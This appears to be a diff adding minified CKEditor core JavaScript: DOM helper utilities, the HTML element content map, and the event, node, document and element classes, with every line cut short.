+return function(b){return b.replace(a,"")}}(),indexOf:function(a,b){if(typeof b=="function")for(var c=0,d=a.length;c<d;c++){if(b(a[c]))return c}else{if(a.indexOf)return a.indexOf(b);c=0;for(d=a.length;c<d;c++)if(a[c]===b)return c}return-1},search:function(a,b){var c=CKEDITOR.tools.indexOf(a,b);return c>=0?a[c]:null},bind:function(a,b){return function(){return a.apply(b,arguments)}},createClass:function(a){var b=a.$,c=a.base,d=a.privates||a._,g=a.proto,a=a.statics;!b&&(b=function(){c&&thi [...]
+arguments)});if(d)var k=b,b=function(){var a=this._||(this._={}),b;for(b in d){var f=d[b];a[b]=typeof f=="function"?CKEDITOR.tools.bind(f,this):f}k.apply(this,arguments)};if(c){b.prototype=this.prototypedCopy(c.prototype);b.prototype.constructor=b;b.base=c;b.baseProto=c.prototype;b.prototype.base=function(){this.base=c.prototype.base;c.apply(this,arguments);this.base=arguments.callee}}g&&this.extend(b.prototype,g,true);a&&this.extend(b,a,true);return b},addFunction:function(a,f){return b [...]
+this,arguments)})-1},removeFunction:function(a){b[a]=null},callFunction:function(a){var f=b[a];return f&&f.apply(window,Array.prototype.slice.call(arguments,1))},cssLength:function(){var a=/^-?\d+\.?\d*px$/,b;return function(c){b=CKEDITOR.tools.trim(c+"")+"px";return a.test(b)?b:c||""}}(),convertToPx:function(){var a;return function(b){if(!a){a=CKEDITOR.dom.element.createFromHtml('<div style="position:absolute;left:-9999px;top:-9999px;margin:0px;padding:0px;border:0px;"></div>',CKEDITOR. [...]
+CKEDITOR.document.getBody().append(a)}if(!/%$/.test(b)){a.setStyle("width",b);return a.$.clientWidth}return b}}(),repeat:function(a,b){return Array(b+1).join(a)},tryThese:function(){for(var a,b=0,c=arguments.length;b<c;b++){var d=arguments[b];try{a=d();break}catch(g){}}return a},genKey:function(){return Array.prototype.slice.call(arguments).join("-")},defer:function(a){return function(){var b=arguments,c=this;window.setTimeout(function(){a.apply(c,b)},0)}},normalizeCssText:function(a,b){ [...]
+d,g=CKEDITOR.tools.parseCssText(a,true,b);for(d in g)c.push(d+":"+g[d]);c.sort();return c.length?c.join(";")+";":""},convertRgbToHex:function(a){return a.replace(/(?:rgb\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*\))/gi,function(a,b,c,g){a=[b,c,g];for(b=0;b<3;b++)a[b]=("0"+parseInt(a[b],10).toString(16)).slice(-2);return"#"+a.join("")})},parseCssText:function(a,b,c){var d={};if(c){c=new CKEDITOR.dom.element("span");c.setAttribute("style",a);a=CKEDITOR.tools.convertRgbToHex(c.getAttribute("style [...]
+a==";")return d;a.replace(/"/g,'"').replace(/\s*([^:;\s]+)\s*:\s*([^;]+)\s*(?=;|$)/g,function(a,c,e){if(b){c=c.toLowerCase();c=="font-family"&&(e=e.toLowerCase().replace(/["']/g,"").replace(/\s*,\s*/g,","));e=CKEDITOR.tools.trim(e)}d[c]=e});return d}}})();
+CKEDITOR.dtd=function(){var b=CKEDITOR.tools.extend,c=function(a,b){for(var f=CKEDITOR.tools.clone(a),o=1;o<arguments.length;o++){var b=arguments[o],i;for(i in b)delete f[i]}return f},a={},f={},e={address:1,article:1,aside:1,blockquote:1,details:1,div:1,dl:1,fieldset:1,figure:1,footer:1,form:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,header:1,hgroup:1,hr:1,menu:1,nav:1,ol:1,p:1,pre:1,section:1,table:1,ul:1},d={command:1,link:1,meta:1,noscript:1,script:1,style:1},g={},k={"#":1},h={center:1,dir:1,nof [...]
+b(a,{a:1,abbr:1,area:1,audio:1,b:1,bdi:1,bdo:1,br:1,button:1,canvas:1,cite:1,code:1,command:1,datalist:1,del:1,dfn:1,em:1,embed:1,i:1,iframe:1,img:1,input:1,ins:1,kbd:1,keygen:1,label:1,map:1,mark:1,meter:1,noscript:1,object:1,output:1,progress:1,q:1,ruby:1,s:1,samp:1,script:1,select:1,small:1,span:1,strong:1,sub:1,sup:1,textarea:1,time:1,u:1,"var":1,video:1,wbr:1},k,{acronym:1,applet:1,basefont:1,big:1,font:1,isindex:1,strike:1,style:1,tt:1});b(f,e,a,h);c={a:c(a,{a:1,button:1}),abbr:a,a [...]
+area:g,article:b({style:1},f),aside:b({style:1},f),audio:b({source:1,track:1},f),b:a,base:g,bdi:a,bdo:a,blockquote:f,body:f,br:g,button:c(a,{a:1,button:1}),canvas:a,caption:f,cite:a,code:a,col:g,colgroup:{col:1},command:g,datalist:b({option:1},a),dd:f,del:a,details:b({summary:1},f),dfn:a,div:b({style:1},f),dl:{dt:1,dd:1},dt:f,em:a,embed:g,fieldset:b({legend:1},f),figcaption:f,figure:b({figcaption:1},f),footer:f,form:f,h1:a,h2:a,h3:a,h4:a,h5:a,h6:a,head:b({title:1,base:1},d),header:f,hgro [...]
+h2:1,h3:1,h4:1,h5:1,h6:1},hr:g,html:b({head:1,body:1},f,d),i:a,iframe:k,img:g,input:g,ins:a,kbd:a,keygen:g,label:a,legend:a,li:f,link:g,map:f,mark:a,menu:b({li:1},f),meta:g,meter:c(a,{meter:1}),nav:f,noscript:b({link:1,meta:1,style:1},a),object:b({param:1},a),ol:{li:1},optgroup:{option:1},option:k,output:a,p:a,param:g,pre:a,progress:c(a,{progress:1}),q:a,rp:a,rt:a,ruby:b({rp:1,rt:1},a),s:a,samp:a,script:k,section:b({style:1},f),select:{optgroup:1,option:1},small:a,source:g,span:a,strong: [...]
+sub:a,summary:a,sup:a,table:{caption:1,colgroup:1,thead:1,tfoot:1,tbody:1,tr:1},tbody:{tr:1},td:f,textarea:k,tfoot:{tr:1},th:f,thead:{tr:1},time:c(a,{time:1}),title:k,tr:{th:1,td:1},track:g,u:a,ul:{li:1},"var":a,video:b({source:1,track:1},f),wbr:g,acronym:a,applet:b({param:1},f),basefont:g,big:a,center:f,dialog:g,dir:{li:1},font:a,isindex:g,noframes:f,strike:a,tt:a};b(c,{$block:b({audio:1,dd:1,dt:1,li:1,video:1},e,h),$blockLimit:{article:1,aside:1,audio:1,body:1,caption:1,details:1,dir:1 [...]
+fieldset:1,figure:1,footer:1,form:1,header:1,hgroup:1,menu:1,nav:1,ol:1,section:1,table:1,td:1,th:1,tr:1,ul:1,video:1},$cdata:{script:1,style:1},$editable:{address:1,article:1,aside:1,blockquote:1,body:1,details:1,div:1,fieldset:1,footer:1,form:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,header:1,hgroup:1,nav:1,p:1,pre:1,section:1},$empty:{area:1,base:1,basefont:1,br:1,col:1,command:1,dialog:1,embed:1,hr:1,img:1,input:1,isindex:1,keygen:1,link:1,meta:1,param:1,source:1,track:1,wbr:1},$inline:a,$list [...]
+ul:1},$listItem:{dd:1,dt:1,li:1},$nonBodyContent:b({body:1,head:1,html:1},c.head),$nonEditable:{applet:1,audio:1,button:1,embed:1,iframe:1,map:1,object:1,option:1,param:1,script:1,textarea:1,video:1},$object:{applet:1,audio:1,button:1,hr:1,iframe:1,img:1,input:1,object:1,select:1,table:1,textarea:1,video:1},$removeEmpty:{abbr:1,acronym:1,b:1,bdi:1,bdo:1,big:1,cite:1,code:1,del:1,dfn:1,em:1,font:1,i:1,ins:1,label:1,kbd:1,mark:1,meter:1,output:1,q:1,ruby:1,s:1,samp:1,small:1,span:1,strike: [...]
+sub:1,sup:1,time:1,tt:1,u:1,"var":1},$tabIndex:{a:1,area:1,button:1,input:1,object:1,select:1,textarea:1},$tableContent:{caption:1,col:1,colgroup:1,tbody:1,td:1,tfoot:1,th:1,thead:1,tr:1},$transparent:{a:1,audio:1,canvas:1,del:1,ins:1,map:1,noscript:1,object:1,video:1},$intermediate:{caption:1,colgroup:1,dd:1,dt:1,figcaption:1,legend:1,li:1,optgroup:1,option:1,rp:1,rt:1,summary:1,tbody:1,td:1,tfoot:1,th:1,thead:1,tr:1}});return c}();CKEDITOR.dom.event=function(b){this.$=b};
+CKEDITOR.dom.event.prototype={getKey:function(){return this.$.keyCode||this.$.which},getKeystroke:function(){var b=this.getKey();if(this.$.ctrlKey||this.$.metaKey)b=b+CKEDITOR.CTRL;this.$.shiftKey&&(b=b+CKEDITOR.SHIFT);this.$.altKey&&(b=b+CKEDITOR.ALT);return b},preventDefault:function(b){var c=this.$;c.preventDefault?c.preventDefault():c.returnValue=false;b&&this.stopPropagation()},stopPropagation:function(){var b=this.$;b.stopPropagation?b.stopPropagation():b.cancelBubble=true},getTarg [...]
+this.$.target||this.$.srcElement;return b?new CKEDITOR.dom.node(b):null},getPhase:function(){return this.$.eventPhase||2},getPageOffset:function(){var b=this.getTarget().getDocument().$;return{x:this.$.pageX||this.$.clientX+(b.documentElement.scrollLeft||b.body.scrollLeft),y:this.$.pageY||this.$.clientY+(b.documentElement.scrollTop||b.body.scrollTop)}}};CKEDITOR.CTRL=1114112;CKEDITOR.SHIFT=2228224;CKEDITOR.ALT=4456448;CKEDITOR.EVENT_PHASE_CAPTURING=1;CKEDITOR.EVENT_PHASE_AT_TARGET=2;
+CKEDITOR.EVENT_PHASE_BUBBLING=3;CKEDITOR.dom.domObject=function(b){if(b)this.$=b};
+CKEDITOR.dom.domObject.prototype=function(){var b=function(b,a){return function(f){typeof CKEDITOR!="undefined"&&b.fire(a,new CKEDITOR.dom.event(f))}};return{getPrivate:function(){var b;if(!(b=this.getCustomData("_")))this.setCustomData("_",b={});return b},on:function(c){var a=this.getCustomData("_cke_nativeListeners");if(!a){a={};this.setCustomData("_cke_nativeListeners",a)}if(!a[c]){a=a[c]=b(this,c);this.$.addEventListener?this.$.addEventListener(c,a,!!CKEDITOR.event.useCapture):this.$ [...]
+this.$.attachEvent("on"+c,a)}return CKEDITOR.event.prototype.on.apply(this,arguments)},removeListener:function(b){CKEDITOR.event.prototype.removeListener.apply(this,arguments);if(!this.hasListeners(b)){var a=this.getCustomData("_cke_nativeListeners"),f=a&&a[b];if(f){this.$.removeEventListener?this.$.removeEventListener(b,f,false):this.$.detachEvent&&this.$.detachEvent("on"+b,f);delete a[b]}}},removeAllListeners:function(){var b=this.getCustomData("_cke_nativeListeners"),a;for(a in b){var [...]
+this.$.detachEvent("on"+a,f):this.$.removeEventListener&&this.$.removeEventListener(a,f,false);delete b[a]}}}}();
+(function(b){var c={};CKEDITOR.on("reset",function(){c={}});b.equals=function(a){try{return a&&a.$===this.$}catch(b){return false}};b.setCustomData=function(a,b){var e=this.getUniqueId();(c[e]||(c[e]={}))[a]=b;return this};b.getCustomData=function(a){var b=this.$["data-cke-expando"];return(b=b&&c[b])&&a in b?b[a]:null};b.removeCustomData=function(a){var b=this.$["data-cke-expando"],b=b&&c[b],e,d;if(b){e=b[a];d=a in b;delete b[a]}return d?e:null};b.clearCustomData=function(){this.removeAl [...]
+var a=this.$["data-cke-expando"];a&&delete c[a]};b.getUniqueId=function(){return this.$["data-cke-expando"]||(this.$["data-cke-expando"]=CKEDITOR.tools.getNextNumber())};CKEDITOR.event.implementOn(b)})(CKEDITOR.dom.domObject.prototype);
+CKEDITOR.dom.node=function(b){return b?new CKEDITOR.dom[b.nodeType==CKEDITOR.NODE_DOCUMENT?"document":b.nodeType==CKEDITOR.NODE_ELEMENT?"element":b.nodeType==CKEDITOR.NODE_TEXT?"text":b.nodeType==CKEDITOR.NODE_COMMENT?"comment":b.nodeType==CKEDITOR.NODE_DOCUMENT_FRAGMENT?"documentFragment":"domObject"](b):this};CKEDITOR.dom.node.prototype=new CKEDITOR.dom.domObject;CKEDITOR.NODE_ELEMENT=1;CKEDITOR.NODE_DOCUMENT=9;CKEDITOR.NODE_TEXT=3;CKEDITOR.NODE_COMMENT=8;CKEDITOR.NODE_DOCUMENT_FRAGMENT=11;
+CKEDITOR.POSITION_IDENTICAL=0;CKEDITOR.POSITION_DISCONNECTED=1;CKEDITOR.POSITION_FOLLOWING=2;CKEDITOR.POSITION_PRECEDING=4;CKEDITOR.POSITION_IS_CONTAINED=8;CKEDITOR.POSITION_CONTAINS=16;
+CKEDITOR.tools.extend(CKEDITOR.dom.node.prototype,{appendTo:function(b,c){b.append(this,c);return b},clone:function(b,c){var a=this.$.cloneNode(b),f=function(a){a["data-cke-expando"]&&(a["data-cke-expando"]=false);if(a.nodeType==CKEDITOR.NODE_ELEMENT){c||a.removeAttribute("id",false);if(b)for(var a=a.childNodes,d=0;d<a.length;d++)f(a[d])}};f(a);return new CKEDITOR.dom.node(a)},hasPrevious:function(){return!!this.$.previousSibling},hasNext:function(){return!!this.$.nextSibling},insertAfte [...]
+b.$.nextSibling);return b},insertBefore:function(b){b.$.parentNode.insertBefore(this.$,b.$);return b},insertBeforeMe:function(b){this.$.parentNode.insertBefore(b.$,this.$);return b},getAddress:function(b){for(var c=[],a=this.getDocument().$.documentElement,f=this.$;f&&f!=a;){var e=f.parentNode;e&&c.unshift(this.getIndex.call({$:f},b));f=e}return c},getDocument:function(){return new CKEDITOR.dom.document(this.$.ownerDocument||this.$.parentNode.ownerDocument)},getIndex:function(b){var c=th [...]
+f;if(!this.$.parentNode)return a;do if(!b||!(c!=this.$&&c.nodeType==CKEDITOR.NODE_TEXT&&(f||!c.nodeValue))){a++;f=c.nodeType==CKEDITOR.NODE_TEXT}while(c=c.previousSibling);return a},getNextSourceNode:function(b,c,a){if(a&&!a.call)var f=a,a=function(a){return!a.equals(f)};var b=!b&&this.getFirst&&this.getFirst(),e;if(!b){if(this.type==CKEDITOR.NODE_ELEMENT&&a&&a(this,true)===false)return null;b=this.getNext()}for(;!b&&(e=(e||this).getParent());){if(a&&a(e,true)===false)return null;b=e.get [...]
+a&&a(b)===false?null:c&&c!=b.type?b.getNextSourceNode(false,c,a):b},getPreviousSourceNode:function(b,c,a){if(a&&!a.call)var f=a,a=function(a){return!a.equals(f)};var b=!b&&this.getLast&&this.getLast(),e;if(!b){if(this.type==CKEDITOR.NODE_ELEMENT&&a&&a(this,true)===false)return null;b=this.getPrevious()}for(;!b&&(e=(e||this).getParent());){if(a&&a(e,true)===false)return null;b=e.getPrevious()}return!b||a&&a(b)===false?null:c&&b.type!=c?b.getPreviousSourceNode(false,c,a):b},getPrevious:fun [...]
+this.$,a;do a=(c=c.previousSibling)&&c.nodeType!=10&&new CKEDITOR.dom.node(c);while(a&&b&&!b(a));return a},getNext:function(b){var c=this.$,a;do a=(c=c.nextSibling)&&new CKEDITOR.dom.node(c);while(a&&b&&!b(a));return a},getParent:function(b){var c=this.$.parentNode;return c&&(c.nodeType==CKEDITOR.NODE_ELEMENT||b&&c.nodeType==CKEDITOR.NODE_DOCUMENT_FRAGMENT)?new CKEDITOR.dom.node(c):null},getParents:function(b){var c=this,a=[];do a[b?"push":"unshift"](c);while(c=c.getParent());return a},g [...]
+if(b.contains&&b.contains(this))return b;var c=this.contains?this:this.getParent();do if(c.contains(b))return c;while(c=c.getParent());return null},getPosition:function(b){var c=this.$,a=b.$;if(c.compareDocumentPosition)return c.compareDocumentPosition(a);if(c==a)return CKEDITOR.POSITION_IDENTICAL;if(this.type==CKEDITOR.NODE_ELEMENT&&b.type==CKEDITOR.NODE_ELEMENT){if(c.contains){if(c.contains(a))return CKEDITOR.POSITION_CONTAINS+CKEDITOR.POSITION_PRECEDING;if(a.contains(c))return CKEDITO [...]
+CKEDITOR.POSITION_FOLLOWING}if("sourceIndex"in c)return c.sourceIndex<0||a.sourceIndex<0?CKEDITOR.POSITION_DISCONNECTED:c.sourceIndex<a.sourceIndex?CKEDITOR.POSITION_PRECEDING:CKEDITOR.POSITION_FOLLOWING}for(var c=this.getAddress(),b=b.getAddress(),a=Math.min(c.length,b.length),f=0;f<=a-1;f++)if(c[f]!=b[f]){if(f<a)return c[f]<b[f]?CKEDITOR.POSITION_PRECEDING:CKEDITOR.POSITION_FOLLOWING;break}return c.length<b.length?CKEDITOR.POSITION_CONTAINS+CKEDITOR.POSITION_PRECEDING:CKEDITOR.POSITION [...]
+CKEDITOR.POSITION_FOLLOWING},getAscendant:function(b,c){var a=this.$,f;if(!c)a=a.parentNode;for(;a;){if(a.nodeName&&(f=a.nodeName.toLowerCase(),typeof b=="string"?f==b:f in b))return new CKEDITOR.dom.node(a);a=a.parentNode}return null},hasAscendant:function(b,c){var a=this.$;if(!c)a=a.parentNode;for(;a;){if(a.nodeName&&a.nodeName.toLowerCase()==b)return true;a=a.parentNode}return false},move:function(b,c){b.append(this.remove(),c)},remove:function(b){var c=this.$,a=c.parentNode;if(a){if( [...]
+c.firstChild;)a.insertBefore(c.removeChild(b),c);a.removeChild(c)}return this},replace:function(b){this.insertBefore(b);b.remove()},trim:function(){this.ltrim();this.rtrim()},ltrim:function(){for(var b;this.getFirst&&(b=this.getFirst());){if(b.type==CKEDITOR.NODE_TEXT){var c=CKEDITOR.tools.ltrim(b.getText()),a=b.getLength();if(c){if(c.length<a){b.split(a-c.length);this.$.removeChild(this.$.firstChild)}}else{b.remove();continue}}break}},rtrim:function(){for(var b;this.getLast&&(b=this.get [...]
+CKEDITOR.NODE_TEXT){var c=CKEDITOR.tools.rtrim(b.getText()),a=b.getLength();if(c){if(c.length<a){b.split(c.length);this.$.lastChild.parentNode.removeChild(this.$.lastChild)}}else{b.remove();continue}}break}if(!CKEDITOR.env.ie&&!CKEDITOR.env.opera)(b=this.$.lastChild)&&(b.type==1&&b.nodeName.toLowerCase()=="br")&&b.parentNode.removeChild(b)},isReadOnly:function(){var b=this;this.type!=CKEDITOR.NODE_ELEMENT&&(b=this.getParent());if(b&&typeof b.$.isContentEditable!="undefined")return!(b.$.i [...]
+b.data("cke-editable"));for(;b;){if(b.data("cke-editable"))break;if(b.getAttribute("contentEditable")=="false")return true;if(b.getAttribute("contentEditable")=="true")break;b=b.getParent()}return!b}});CKEDITOR.dom.window=function(b){CKEDITOR.dom.domObject.call(this,b)};CKEDITOR.dom.window.prototype=new CKEDITOR.dom.domObject;
+CKEDITOR.tools.extend(CKEDITOR.dom.window.prototype,{focus:function(){this.$.focus()},getViewPaneSize:function(){var b=this.$.document,c=b.compatMode=="CSS1Compat";return{width:(c?b.documentElement.clientWidth:b.body.clientWidth)||0,height:(c?b.documentElement.clientHeight:b.body.clientHeight)||0}},getScrollPosition:function(){var b=this.$;if("pageXOffset"in b)return{x:b.pageXOffset||0,y:b.pageYOffset||0};b=b.document;return{x:b.documentElement.scrollLeft||b.body.scrollLeft||0,y:b.docume [...]
+b.body.scrollTop||0}},getFrame:function(){var b=this.$.frameElement;return b?new CKEDITOR.dom.element.get(b):null}});CKEDITOR.dom.document=function(b){CKEDITOR.dom.domObject.call(this,b)};CKEDITOR.dom.document.prototype=new CKEDITOR.dom.domObject;
+CKEDITOR.tools.extend(CKEDITOR.dom.document.prototype,{type:CKEDITOR.NODE_DOCUMENT,appendStyleSheet:function(b){if(this.$.createStyleSheet)this.$.createStyleSheet(b);else{var c=new CKEDITOR.dom.element("link");c.setAttributes({rel:"stylesheet",type:"text/css",href:b});this.getHead().append(c)}},appendStyleText:function(b){if(this.$.createStyleSheet){var c=this.$.createStyleSheet("");c.cssText=b}else{var a=new CKEDITOR.dom.element("style",this);a.append(new CKEDITOR.dom.text(b,this));this [...]
+a.$.sheet},createElement:function(b,c){var a=new CKEDITOR.dom.element(b,this);if(c){c.attributes&&a.setAttributes(c.attributes);c.styles&&a.setStyles(c.styles)}return a},createText:function(b){return new CKEDITOR.dom.text(b,this)},focus:function(){this.getWindow().focus()},getActive:function(){return new CKEDITOR.dom.element(this.$.activeElement)},getById:function(b){return(b=this.$.getElementById(b))?new CKEDITOR.dom.element(b):null},getByAddress:function(b,c){for(var a=this.$.documentE [...]
+0;a&&f<b.length;f++){var e=b[f];if(c)for(var d=-1,g=0;g<a.childNodes.length;g++){var k=a.childNodes[g];if(!(c===true&&k.nodeType==3&&k.previousSibling&&k.previousSibling.nodeType==3)){d++;if(d==e){a=k;break}}}else a=a.childNodes[e]}return a?new CKEDITOR.dom.node(a):null},getElementsByTag:function(b,c){if((!CKEDITOR.env.ie||document.documentMode>8)&&c)b=c+":"+b;return new CKEDITOR.dom.nodeList(this.$.getElementsByTagName(b))},getHead:function(){var b=this.$.getElementsByTagName("head")[0] [...]
+b?new CKEDITOR.dom.element(b):this.getDocumentElement().append(new CKEDITOR.dom.element("head"),true)},getBody:function(){return new CKEDITOR.dom.element(this.$.body)},getDocumentElement:function(){return new CKEDITOR.dom.element(this.$.documentElement)},getWindow:function(){var b=new CKEDITOR.dom.window(this.$.parentWindow||this.$.defaultView);return(this.getWindow=function(){return b})()},write:function(b){this.$.open("text/html","replace");CKEDITOR.env.isCustomDomain()&&(this.$.domain [...]
+this.$.write(b);this.$.close()}});CKEDITOR.dom.nodeList=function(b){this.$=b};CKEDITOR.dom.nodeList.prototype={count:function(){return this.$.length},getItem:function(b){if(b<0||b>=this.$.length)return null;return(b=this.$[b])?new CKEDITOR.dom.node(b):null}};CKEDITOR.dom.element=function(b,c){typeof b=="string"&&(b=(c?c.$:document).createElement(b));CKEDITOR.dom.domObject.call(this,b)};
+CKEDITOR.dom.element.get=function(b){return(b=typeof b=="string"?document.getElementById(b)||document.getElementsByName(b)[0]:b)&&(b.$?b:new CKEDITOR.dom.element(b))};CKEDITOR.dom.element.prototype=new CKEDITOR.dom.node;CKEDITOR.dom.element.createFromHtml=function(b,c){var a=new CKEDITOR.dom.element("div",c);a.setHtml(b);return a.getFirst().remove()};
+CKEDITOR.dom.element.setMarker=function(b,c,a,f){var e=c.getCustomData("list_marker_id")||c.setCustomData("list_marker_id",CKEDITOR.tools.getNextNumber()).getCustomData("list_marker_id"),d=c.getCustomData("list_marker_names")||c.setCustomData("list_marker_names",{}).getCustomData("list_marker_names");b[e]=c;d[a]=1;return c.setCustomData(a,f)};CKEDITOR.dom.element.clearAllMarkers=function(b){for(var c in b)CKEDITOR.dom.element.clearMarkers(b,b[c],1)};
+CKEDITOR.dom.element.clearMarkers=function(b,c,a){var f=c.getCustomData("list_marker_names"),e=c.getCustomData("list_marker_id"),d;for(d in f)c.removeCustomData(d);c.removeCustomData("list_marker_names");if(a){c.removeCustomData("list_marker_id");delete b[e]}};
+(function(){function b(a){for(var b=0,e=0,d=c[a].length;e<d;e++)b=b+(parseInt(this.getComputedStyle(c[a][e])||0,10)||0);return b}CKEDITOR.tools.extend(CKEDITOR.dom.element.prototype,{type:CKEDITOR.NODE_ELEMENT,addClass:function(a){var b=this.$.className;b&&(RegExp("(?:^|\\s)"+a+"(?:\\s|$)","").test(b)||(b=b+(" "+a)));this.$.className=b||a},removeClass:function(a){var b=this.getAttribute("class");if(b){a=RegExp("(?:^|\\s+)"+a+"(?=\\s|$)","i");if(a.test(b))(b=b.replace(a,"").replace(/^\s+/ [...]
+b):this.removeAttribute("class")}return this},hasClass:function(a){return RegExp("(?:^|\\s+)"+a+"(?=\\s|$)","").test(this.getAttribute("class"))},append:function(a,b){typeof a=="string"&&(a=this.getDocument().createElement(a));b?this.$.insertBefore(a.$,this.$.firstChild):this.$.appendChild(a.$);return a},appendHtml:function(a){if(this.$.childNodes.length){var b=new CKEDITOR.dom.element("div",this.getDocument());b.setHtml(a);b.moveChildren(this)}else this.setHtml(a)},appendText:function(a [...]
+void 0?this.$.text=this.$.text+a:this.append(new CKEDITOR.dom.text(a))},appendBogus:function(){for(var a=this.getLast();a&&a.type==CKEDITOR.NODE_TEXT&&!CKEDITOR.tools.rtrim(a.getText());)a=a.getPrevious();if(!a||!a.is||!a.is("br")){a=CKEDITOR.env.opera?this.getDocument().createText(""):this.getDocument().createElement("br");CKEDITOR.env.gecko&&a.setAttribute("type","_moz");this.append(a)}},breakParent:function(a){var b=new CKEDITOR.dom.range(this.getDocument());b.setStartAfter(this);b.se [...]
+a=b.extractContents();b.insertNode(this.remove());a.insertAfterNode(this)},contains:CKEDITOR.env.ie||CKEDITOR.env.webkit?function(a){var b=this.$;return a.type!=CKEDITOR.NODE_ELEMENT?b.contains(a.getParent().$):b!=a.$&&b.contains(a.$)}:function(a){return!!(this.$.compareDocumentPosition(a.$)&16)},focus:function(){function a(){try{this.$.focus()}catch(a){}}return function(b){b?CKEDITOR.tools.setTimeout(a,100,this):a.call(this)}}(),getHtml:function(){var a=this.$.innerHTML;return CKEDITOR. [...]
+""):a},getOuterHtml:function(){if(this.$.outerHTML)return this.$.outerHTML.replace(/<\?[^>]*>/,"");var a=this.$.ownerDocument.createElement("div");a.appendChild(this.$.cloneNode(true));return a.innerHTML},getClientRect:function(){var a=CKEDITOR.tools.extend({},this.$.getBoundingClientRect());!a.width&&(a.width=a.right-a.left);!a.height&&(a.height=a.bottom-a.top);return a},setHtml:function(){var a=function(a){return this.$.innerHTML=a};return CKEDITOR.env.ie&&CKEDITOR.env.version<9?functi [...]
+a}catch(b){this.$.innerHTML="";var c=new CKEDITOR.dom.element("body",this.getDocument());c.$.innerHTML=a;for(c=c.getChildren();c.count();)this.append(c.getItem(0));return a}}:a}(),setText:function(a){CKEDITOR.dom.element.prototype.setText=this.$.innerText!=void 0?function(a){return this.$.innerText=a}:function(a){return this.$.textContent=a};return this.setText(a)},getAttribute:function(){var a=function(a){return this.$.getAttribute(a,2)};return CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat|| [...]
+function(a){switch(a){case "class":a="className";break;case "http-equiv":a="httpEquiv";break;case "name":return this.$.name;case "tabindex":a=this.$.getAttribute(a,2);a!==0&&this.$.tabIndex===0&&(a=null);return a;case "checked":a=this.$.attributes.getNamedItem(a);return(a.specified?a.nodeValue:this.$.checked)?"checked":null;case "hspace":case "value":return this.$[a];case "style":return this.$.style.cssText;case "contenteditable":case "contentEditable":return this.$.attributes.getNamedIt [...]
+this.$.getAttribute("contentEditable"):null}return this.$.getAttribute(a,2)}:a}(),getChildren:function(){return new CKEDITOR.dom.nodeList(this.$.childNodes)},getComputedStyle:CKEDITOR.env.ie?function(a){return this.$.currentStyle[CKEDITOR.tools.cssStyleToDomStyle(a)]}:function(a){var b=this.getWindow().$.getComputedStyle(this.$,null);return b?b.getPropertyValue(a):""},getDtd:function(){var a=CKEDITOR.dtd[this.getName()];this.getDtd=function(){return a};return a},getElementsByTag:CKEDITOR [...]
+getTabIndex:CKEDITOR.env.ie?function(){var a=this.$.tabIndex;a===0&&(!CKEDITOR.dtd.$tabIndex[this.getName()]&&parseInt(this.getAttribute("tabindex"),10)!==0)&&(a=-1);return a}:CKEDITOR.env.webkit?function(){var a=this.$.tabIndex;if(a==void 0){a=parseInt(this.getAttribute("tabindex"),10);isNaN(a)&&(a=-1)}return a}:function(){return this.$.tabIndex},getText:function(){return this.$.textContent||this.$.innerText||""},getWindow:function(){return this.getDocument().getWindow()},getId:function [...]
+null},getNameAtt:function(){return this.$.name||null},getName:function(){var a=this.$.nodeName.toLowerCase();if(CKEDITOR.env.ie&&!(document.documentMode>8)){var b=this.$.scopeName;b!="HTML"&&(a=b.toLowerCase()+":"+a)}return(this.getName=function(){return a})()},getValue:function(){return this.$.value},getFirst:function(a){var b=this.$.firstChild;(b=b&&new CKEDITOR.dom.node(b))&&(a&&!a(b))&&(b=b.getNext(a));return b},getLast:function(a){var b=this.$.lastChild;(b=b&&new CKEDITOR.dom.node(b [...]
+(b=b.getPrevious(a));return b},getStyle:function(a){return this.$.style[CKEDITOR.tools.cssStyleToDomStyle(a)]},is:function(){var a=this.getName();if(typeof arguments[0]=="object")return!!arguments[0][a];for(var b=0;b<arguments.length;b++)if(arguments[b]==a)return true;return false},isEditable:function(a){var b=this.getName();if(this.isReadOnly()||this.getComputedStyle("display")=="none"||this.getComputedStyle("visibility")=="hidden"||CKEDITOR.dtd.$nonEditable[b]||CKEDITOR.dtd.$empty[b]|| [...]
+(this.data("cke-saved-name")||this.hasAttribute("name"))&&!this.getChildCount())return false;if(a!==false){a=CKEDITOR.dtd[b]||CKEDITOR.dtd.span;return!(!a||!a["#"])}return true},isIdentical:function(a){var b=this.clone(0,1),a=a.clone(0,1);b.removeAttributes(["_moz_dirty","data-cke-expando","data-cke-saved-href","data-cke-saved-name"]);a.removeAttributes(["_moz_dirty","data-cke-expando","data-cke-saved-href","data-cke-saved-name"]);if(b.$.isEqualNode){b.$.style.cssText=CKEDITOR.tools.norm [...]
+a.$.style.cssText=CKEDITOR.tools.normalizeCssText(a.$.style.cssText);return b.$.isEqualNode(a.$)}b=b.getOuterHtml();a=a.getOuterHtml();if(CKEDITOR.env.ie&&CKEDITOR.env.version<9&&this.is("a")){var c=this.getParent();if(c.type==CKEDITOR.NODE_ELEMENT){c=c.clone();c.setHtml(b);b=c.getHtml();c.setHtml(a);a=c.getHtml()}}return b==a},isVisible:function(){var a=(this.$.offsetHeight||this.$.offsetWidth)&&this.getComputedStyle("visibility")!="hidden",b,c;if(a&&(CKEDITOR.env.webkit||CKEDITOR.env.o [...]
+this.getWindow();if(!b.equals(CKEDITOR.document.getWindow())&&(c=b.$.frameElement))a=(new CKEDITOR.dom.element(c)).isVisible()}return!!a},isEmptyInlineRemoveable:function(){if(!CKEDITOR.dtd.$removeEmpty[this.getName()])return false;for(var a=this.getChildren(),b=0,c=a.count();b<c;b++){var d=a.getItem(b);if(!(d.type==CKEDITOR.NODE_ELEMENT&&d.data("cke-bookmark"))&&(d.type==CKEDITOR.NODE_ELEMENT&&!d.isEmptyInlineRemoveable()||d.type==CKEDITOR.NODE_TEXT&&CKEDITOR.tools.trim(d.getText())))re [...]
